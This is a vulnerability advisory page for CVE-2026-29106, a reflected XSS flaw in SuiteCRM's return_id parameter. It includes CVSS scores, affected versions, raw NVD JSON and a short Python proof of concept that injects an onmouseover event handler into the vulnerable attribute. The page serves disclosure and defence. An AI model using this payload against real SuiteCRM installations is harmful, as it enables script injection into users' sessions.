Security Vulnerability Report
中文
CVE-2026-29106 CVSS 5.9 MEDIUM

CVE-2026-29106

Published: 2026-03-19 23:16:44
Last Modified: 2026-03-24 13:58:40

Description

SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, the value of the return_id request parameter is copied into the value of an HTML tag attribute which is an event handler and is encapsulated in double quotation marks. Versions 7.15.1 and 8.9.3 patch the issue. Users should also use a Content Security Policy (CSP) header to completely mitigate XSS.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:suitecrm:suitecrm:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:suitecrm:suitecrm:*:*:*:*:*:*:*:* - VULNERABLE
SuiteCRM < 7.15.1
SuiteCRM < 8.9.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-29106 # The vulnerability lies in the 'return_id' parameter being reflected in an HTML event handler attribute. import requests target_url = "http://localhost/suitecrm/index.php" # Payload to break out of the attribute and inject an event handler # Assuming the attribute looks like: value="[return_id]" # We inject: " onmouseover="alert('XSS') payload = '" onmouseover="alert(\'CVE-2026-29106_POC\')"' params = { "module": "Users", "action": "EditView", "return_id": payload # Vulnerable parameter } try: response = requests.get(target_url, params=params) # Check if the payload is reflected unescaped in an event handler context if 'onmouseover="alert' in response.text: print("Vulnerability confirmed: The payload was injected into the event handler.") else: print("Vulnerability not detected or patch applied.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29106", "sourceIdentifier": "[email protected]", "published": "2026-03-19T23:16:43.500", "lastModified": "2026-03-24T13:58:40.143", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, the value of the return_id request parameter is copied into the value of an HTML tag attribute which is an event handler and is encapsulated in double quotation marks. Versions 7.15.1 and 8.9.3 patch the issue. Users should also use a Content Security Policy (CSP) header to completely mitigate XSS."}, {"lang": "es", "value": "SuiteCRM es una aplicación de software de gestión de relaciones con clientes (CRM) de código abierto y lista para empresas. Antes de las versiones 7.15.1 y 8.9.3, el valor del parámetro de solicitud return_id se copia en el valor de un atributo de etiqueta HTML que es un gestor de eventos y está encapsulado entre comillas dobles. Las versiones 7.15.1 y 8.9.3 parchean el problema. Los usuarios también deben usar una cabecera de Política de Seguridad de Contenido (CSP) para mitigar completamente el XSS."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-80"}, {"lang": "en", "value": "CWE-116"}, {"lang": "en", "value": "CWE-159"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:suitecrm:suitecrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.15.1", "matchCriteriaId": "73648654-E7F6-47CF-8E01-19BBFF737C99"}, {"vulnerable": true, "criteria": "cpe:2.3:a:suitecrm:suitecrm:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.9.3", "matchCriteriaId": "C7E15DD3-A934-40A2-8B43-ABCCBB53CBCF"}]}]}], "references": [{"url": "https://docs.suitecrm.com/admin/releases/7.15.x", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-7qrj-5hj6-7c2m", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}